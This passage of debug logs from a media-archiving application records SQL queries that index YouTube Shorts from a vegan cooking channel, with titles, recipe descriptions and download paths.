s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.658 [debug] QUERY OK source="media_items" db=1.6ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-24 14:00:01Z], 1] 20:31:10.659 [debug] QUERY OK source="media_items" db=1.4ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Forget about your diet and make some brownies already!!! I made these brownies vegan, gluten free, and high in protein and they turned out unreal.\n\nCheck out the full recipe video here: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content about eating a vegan and gluten free diet! Thanks for all your support! Janelle", "Screw Diets, Brownies Are Forever", "4e056617-2ce3-4b78-af57-60245c19f336", 1, [], 10, false, "1UH_HB7BlVw", "https://www.youtube.com/shorts/1UH_HB7BlVw", 353, "/downloads/downloads/alec/Steamy Vegan/2022-06-24 Screw Diets, Brownies Are Forever/Screw Diets, Brownies Are Forever [1UH_HB7BlVw].NA", false, false, true, 1, ~U[2022-06-24 14:00:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Forget about your diet and make some brownies already!!! I made these brownies vegan, gluten free, and high in protein and they turned out unreal.\n\nCheck out the full recipe video here: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content about eating a vegan and gluten free diet! Thanks for all your support! Janelle", "Screw Diets, Brownies Are Forever", 1, 10, false, "1UH_HB7BlVw", "https://www.youtube.com/shorts/1UH_HB7BlVw", "/downloads/downloads/alec/Steamy Vegan/2022-06-24 Screw Diets, Brownies Are Forever/Screw Diets, Brownies Are Forever [1UH_HB7BlVw].NA", true, ~U[2022-06-24 14:00:01Z]] 20:31:10.661 [debug] QUERY OK source="sources" db=1.0ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.663 [debug] QUERY OK source="media_items" db=2.4ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-23 19:30:02Z], 1] 20:31:10.664 [debug] QUERY OK source="media_items" db=0.8ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've had a ton of fun this past week experimenting with vegan and gluten free brownies and I've cracked the baking code to make the perfect brownies. \n\nI've filmed a full recipe video on these that you won't want to miss. Make sure to subscribe so you don't miss this video, it's gooooooooood!!!!!\n\nRecipe Video: https://youtu.be/CaX3rd60OUk", "Pure Brownie Magic. The Most Epic Brownies I've Ever Made", "108a9ca7-8860-4ddd-b8d7-496ff4efca9e", 1, [], 12, false, "O9SaR_rP6aw", "https://www.youtube.com/shorts/O9SaR_rP6aw", 354, "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Pure Brownie Magic. The Most Epic Brownies I've Ever Made/Pure Brownie Magic. The Most Epic Brownies I've Ever Made [O9SaR_rP6aw].NA", false, false, true, 2, ~U[2022-06-23 19:30:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I've had a ton of fun this past week experimenting with vegan and gluten free brownies and I've cracked the baking code to make the perfect brownies. \n\nI've filmed a full recipe video on these that you won't want to miss. Make sure to subscribe so you don't miss this video, it's gooooooooood!!!!!\n\nRecipe Video: https://youtu.be/CaX3rd60OUk", "Pure Brownie Magic. The Most Epic Brownies I've Ever Made", 1, 12, false, "O9SaR_rP6aw", "https://www.youtube.com/shorts/O9SaR_rP6aw", "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Pure Brownie Magic. The Most Epic Brownies I've Ever Made/Pure Brownie Magic. The Most Epic Brownies I've Ever Made [O9SaR_rP6aw].NA", true, ~U[2022-06-23 19:30:02Z]] 20:31:10.665 [debug] QUERY OK source="sources" db=0.8ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.668 [debug] QUERY OK source="media_items" db=1.8ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-23 16:17:52Z], 1] 20:31:10.670 [debug] QUERY OK source="media_items" db=1.1ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I’ve been recipe testing these fudgey protein brownies this week and all I can say is…. DAYUM! 🤤 Vegan, gluten-free and soooo yummy. The full recipe video is now live on my YouTube channel so make sure to subscribe to see it or click the link below...\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nSUBSCRIBE TO MY CHANNEL FOR MORE DELICIOUS VEGAN RECIPES! #SteamyVeganKitchen", "Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts", "1b973f64-f835-4109-90bc-e24a89ad30b5", 1, [], 15, false, "WHzBVRduS-k", "https://www.youtube.com/shorts/WHzBVRduS-k", 355, "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts/Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts [WHzBVRduS-k].NA", false, false, true, 2, ~U[2022-06-23 16:17:52Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I’ve been recipe testing these fudgey protein brownies this week and all I can say is…. DAYUM! 🤤 Vegan, gluten-free and soooo yummy. The full recipe video is now live on my YouTube channel so make sure to subscribe to see it or click the link below...\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nSUBSCRIBE TO MY CHANNEL FOR MORE DELICIOUS VEGAN RECIPES! #SteamyVeganKitchen", "Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts", 1, 15, false, "WHzBVRduS-k", "https://www.youtube.com/shorts/WHzBVRduS-k", "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts/Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts [WHzBVRduS-k].NA", true, ~U[2022-06-23 16:17:52Z]] 20:31:10.671 [debug] QUERY OK source="sources" db=0.7ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.673 [debug] QUERY OK source="media_items" db=2.0ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-22 22:53:16Z], 1] 20:31:10.674 [debug] QUERY OK source="media_items" db=1.1ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Food should always be so good that you can't help but to get up and dance, smile, and groan with happiness because of it.\n\nSubscribe for more vegan and gluten free recipes and daily content. Thanks for all your support!!! Janelle", "Cheesy Action Food Reaction - Hot New Rap Single", "cda729ee-7f3b-4ae6-bf1b-7f014df6a6db", 1, [], 13, false, "muhJYJ9BPIU", "https://www.youtube.com/shorts/muhJYJ9BPIU", 356, "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Cheesy Action Food Reaction - Hot New Rap Single/Cheesy Action Food Reaction - Hot New Rap Single [muhJYJ9BPIU].NA", false, false, true, 2, ~U[2022-06-22 22:53:16Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Food should always be so good that you can't help but to get up and dance, smile, and groan with happiness because of it.\n\nSubscribe for more vegan and gluten free recipes and daily content. Thanks for all your support!!! Janelle", "Cheesy Action Food Reaction - Hot New Rap Single", 1, 13, false, "muhJYJ9BPIU", "https://www.youtube.com/shorts/muhJYJ9BPIU", "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Cheesy Action Food Reaction - Hot New Rap Single/Cheesy Action Food Reaction - Hot New Rap Single [muhJYJ9BPIU].NA", true, ~U[2022-06-22 22:53:16Z]] 20:31:10.675 [debug] QUERY OK source="sources" db=0.8ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.677 [debug] QUERY OK source="media_items" db=1.9ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-22 14:00:14Z], 1] 20:31:10.680 [debug] QUERY OK source="media_items" db=1.3ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Did you know that the more colours of veggies you eat in a meal, the more variety of nutrients you’re getting? ❤️🧡💛💚💙💜💗 Make rainbow salads a part of your summer meal prep — like this CREAMY ZOODLE + BLACK BEAN RAINBOW SALAD! 😍\n\nMy @pekoproduce mystery box did not disappoint this week — soooo much variety of healthy, colourful veggies (that didn’t end up in our landfills!) 🍅🥕🍋🥬🫐🍆\n\nINGREDIENTS:\n3 zucchinis, spiralized (rescued!)\n1/2 daikon radish, spiralized\n1/2 radicchio, chopped (rescued!)\n1.5 C. grape or cherry tomatoes (rescued!)\n1/2 crown broccoli, chopped\n1 orange bell pepper, chopped\n1 C. chopped green onion\n1 can black beans, drained and rinsed\nDRESSING (combine in a blender)\n1/4 C. Cilantro\n2 cloves garlic\n1 tbsp dijon mustard\n1 tbsp sesame oil\n2 tbsp ACV\n1/4 C. Cashews\n1 tbsp nooch\n2 tbsp vegan cream cheese\n1/2 tsp cumin\n1/2 tsp hot paprika\nS+P\n\nCheck out @PekoProduce (www.pekoproduce.com) and try out one of their mystery produce boxes of rescued fruits/veg that were destined for Metro Vancouver’s landfills due to cosmetic flaws/surplus quantities!", "Eat the rainbow 🌈 BE THE RAINBOW!", "9c1edfff-3b31-428b-8c13-3d416f56df91", 1, [], 15, false, "YxveXqGGG14", "https://www.youtube.com/shorts/YxveXqGGG14", 357, "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Eat the rainbow 🌈 BE THE RAINBOW!/Eat the rainbow 🌈 BE THE RAINBOW! [YxveXqGGG14].NA", false, false, true, 2, ~U[2022-06-22 14:00:14Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Did you know that the more colours of veggies you eat in a meal, the more variety of nutrients you’re getting? ❤️🧡💛💚💙💜💗 Make rainbow salads a part of your summer meal prep — like this CREAMY ZOODLE + BLACK BEAN RAINBOW SALAD! 😍\n\nMy @pekoproduce mystery box did not disappoint this week — soooo much variety of healthy, colourful veggies (that didn’t end up in our landfills!) 🍅🥕🍋🥬🫐🍆\n\nINGREDIENTS:\n3 zucchinis, spiralized (rescued!)\n1/2 daikon radish, spiralized\n1/2 radicchio, chopped (rescued!)\n1.5 C. grape or cherry tomatoes (rescued!)\n1/2 crown broccoli, chopped\n1 orange bell pepper, chopped\n1 C. chopped green onion\n1 can black beans, drained and rinsed\nDRESSING (combine in a blender)\n1/4 C. Cilantro\n2 cloves garlic\n1 tbsp dijon mustard\n1 tbsp sesame oil\n2 tbsp ACV\n1/4 C. Cashews\n1 tbsp nooch\n2 tbsp vegan cream cheese\n1/2 tsp cumin\n1/2 tsp hot paprika\nS+P\n\nCheck out @PekoProduce (www.pekoproduce.com) and try out one of their mystery produce boxes of rescued fruits/veg that were destined for Metro Vancouver’s landfills due to cosmetic flaws/surplus quantities!", "Eat the rainbow 🌈 BE THE RAINBOW!", 1, 15, false, "YxveXqGGG14", "https://www.youtube.com/shorts/YxveXqGGG14", "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Eat the rainbow 🌈 BE THE RAINBOW!/Eat the rainbow 🌈 BE THE RAINBOW! [YxveXqGGG14].NA", true, ~U[2022-06-22 14:00:14Z]] 20:31:10.681 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.684 [debug] QUERY OK source="media_items" db=2.4ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-21 23:30:03Z], 1] 20:31:10.685 [debug] QUERY OK source="media_items" db=1.0ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Our channel is all about making food healthier, fun and laugh out loud delicious. We transform popular dishes to be vegan and gluten free to suit our diet and hopefully yours.\n\nSubscribe for more laughs. Thanks for all your support! Janelle", "Food Should Make You Happy", "6975c577-4b4a-4a19-ac93-43ddcba5a295", 1, [], 13, false, "jmkBCLJFAhI", "https://www.youtube.com/shorts/jmkBCLJFAhI", 358, "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Food Should Make You Happy/Food Should Make You Happy [jmkBCLJFAhI].NA", false, false, true, 4, ~U[2022-06-21 23:30:03Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Our channel is all about making food healthier, fun and laugh out loud delicious. We transform popular dishes to be vegan and gluten free to suit our diet and hopefully yours.\n\nSubscribe for more laughs. Thanks for all your support! Janelle", "Food Should Make You Happy", 1, 13, false, "jmkBCLJFAhI", "https://www.youtube.com/shorts/jmkBCLJFAhI", "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Food Should Make You Happy/Food Should Make You Happy [jmkBCLJFAhI].NA", true, ~U[2022-06-21 23:30:03Z]] 20:31:10.686 [debug] QUERY OK source="sources" db=0.7ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.688 [debug] QUERY OK source="media_items" db=1.7ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-21 18:30:08Z], 1] 20:31:10.690 [debug] QUERY OK source="media_items" db=1.3ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Stop tossing your leek tops! For some weird reason we've been taught that the stalky green parts of leeks are inedible -- that's BS! Leeks have tons of dietary fibre and vitamin C -- so use em! I was super happy to get a GIANT leek in my @pekoproduce mystery box this week and knew right away that I'd make a soup! #lowwaste #nowaste \n\nThis Mushroom & Leek soup was the bomb dot com on a cool June-uary day (#raincouver ☔️). \n\nINGREDIENTS:\n1 lb. white mushrooms, quartered\n1 large leek, white and green parts separated, sliced\n1/2 yellow onion, diced\n1 head roasted garlic\n1.5 tbsp oil\n1/2 can coconut milk\n4 cups veggie or onion broth, hot\n2 tbsp red wine vinegar\n1-2 tbsp GF soy sauce\n2 bay leaves\n1 tsp dried thyme\n1 tsp hot paprika\nsalt + pepper to taste\n\nSauté the onion, white part of leeks and garlic in oil on medium-high heat for 2-3 minutes, until softened slightly and sweating -- Add the mushrooms, sliced green leek tops, and stir to combine thoroughly -- Add remaining herbs, spices and seasonings and pour the broth and coconut milk over top -- Stir and cover and bring to a boil; once boiling lower heat to medium and simmer for 15 to 20 minutes until the mushrooms and leek greens are cooked through -- adjust seasonings as needed. ENJOY!", "Stop 🛑 throwing out your leek tops!", "9c0cc59a-eb3c-4039-85be-5dbe9ca25ad9", 1, [], 15, false, "5fvjGrxpF0M", "https://www.youtube.com/shorts/5fvjGrxpF0M", 359, "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Stop 🛑 throwing out your leek tops!/Stop 🛑 throwing out your leek tops! [5fvjGrxpF0M].NA", false, false, true, 4, ~U[2022-06-21 18:30:08Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Stop tossing your leek tops! For some weird reason we've been taught that the stalky green parts of leeks are inedible -- that's BS! Leeks have tons of dietary fibre and vitamin C -- so use em! I was super happy to get a GIANT leek in my @pekoproduce mystery box this week and knew right away that I'd make a soup! #lowwaste #nowaste \n\nThis Mushroom & Leek soup was the bomb dot com on a cool June-uary day (#raincouver ☔️). \n\nINGREDIENTS:\n1 lb. white mushrooms, quartered\n1 large leek, white and green parts separated, sliced\n1/2 yellow onion, diced\n1 head roasted garlic\n1.5 tbsp oil\n1/2 can coconut milk\n4 cups veggie or onion broth, hot\n2 tbsp red wine vinegar\n1-2 tbsp GF soy sauce\n2 bay leaves\n1 tsp dried thyme\n1 tsp hot paprika\nsalt + pepper to taste\n\nSauté the onion, white part of leeks and garlic in oil on medium-high heat for 2-3 minutes, until softened slightly and sweating -- Add the mushrooms, sliced green leek tops, and stir to combine thoroughly -- Add remaining herbs, spices and seasonings and pour the broth and coconut milk over top -- Stir and cover and bring to a boil; once boiling lower heat to medium and simmer for 15 to 20 minutes until the mushrooms and leek greens are cooked through -- adjust seasonings as needed. ENJOY!", "Stop 🛑 throwing out your leek tops!", 1, 15, false, "5fvjGrxpF0M", "https://www.youtube.com/shorts/5fvjGrxpF0M", "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Stop 🛑 throwing out your leek tops!/Stop 🛑 throwing out your leek tops! [5fvjGrxpF0M].NA", true, ~U[2022-06-21 18:30:08Z]] 20:31:10.692 [debug] QUERY OK source="sources" db=0.8ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.694 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-21 15:00:30Z], 1] 20:31:10.695 [debug] QUERY OK source="media_items" db=1.0ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is the perfect healthy family salad, perfect for any get together. It's colorful, packed full of protein, and absolutely delicious. Everyone will be talking about this salad at your next BBQ or dinner.\n\nFull recipe video: https://youtu.be/Ztps-dPnqW8", "I feel bad for you ‘cause you’re not eating this", "dfaaf82c-fd22-4c33-91ae-ac3565542e97", 1, [], 15, false, "PNuA7XECW10", "https://www.youtube.com/shorts/PNuA7XECW10", 360, "/downloads/downloads/alec/Steamy Vegan/2022-06-21 I feel bad for you ‘cause you’re not eating this/I feel bad for you ‘cause you’re not eating this [PNuA7XECW10].NA", false, false, true, 4, ~U[2022-06-21 15:00:30Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This is the perfect healthy family salad, perfect for any get together. It's colorful, packed full of protein, and absolutely delicious. Everyone will be talking about this salad at your next BBQ or dinner.\n\nFull recipe video: https://youtu.be/Ztps-dPnqW8", "I feel bad for you ‘cause you’re not eating this", 1, 15, false, "PNuA7XECW10", "https://www.youtube.com/shorts/PNuA7XECW10", "/downloads/downloads/alec/Steamy Vegan/2022-06-21 I feel bad for you ‘cause you’re not eating this/I feel bad for you ‘cause you’re not eating this [PNuA7XECW10].NA", true, ~U[2022-06-21 15:00:30Z]] 20:31:10.696 [debug] QUERY OK source="sources" db=0.5ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.698 [debug] QUERY OK source="media_items" db=1.7ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-21 00:00:00Z], 1] 20:31:10.699 [debug] QUERY OK source="media_items" db=0.9ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This feta + chickpea rainbow salad is one of my fave new summer salads, and be will yours too once you try it! It’s mega yummy, high in plant protein and so hydrating. Check out the full recipe below and follow me for more!\n\nINGREDIENTS — chop, pour, mix, enjoy!\n1 cup chopped basil\n1/2 crown broccoli\n1/2 cucumber\n1 cup grape tomatoes\n1 orange bell pepper\n1 red bell pepper\n1 can chickpeas, drained and rinsed\n1 block vegan feta, crumbled\n\nDressing — combine in a jar and shake to combine \n3 tbsp olive/grapeseed oil\n3 tbsp ACV\n2 tbsp dijon mustard\n2 green onions, diced\nS + P", "Feta & chickpea rainbow 🌈 salad 🥗", "542b8e1b-ebf1-4c15-80b9-592ecd7316b1", 1, [], 15, false, "-YUVE1bK8JY", "https://www.youtube.com/shorts/-YUVE1bK8JY", 361, "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Feta & chickpea 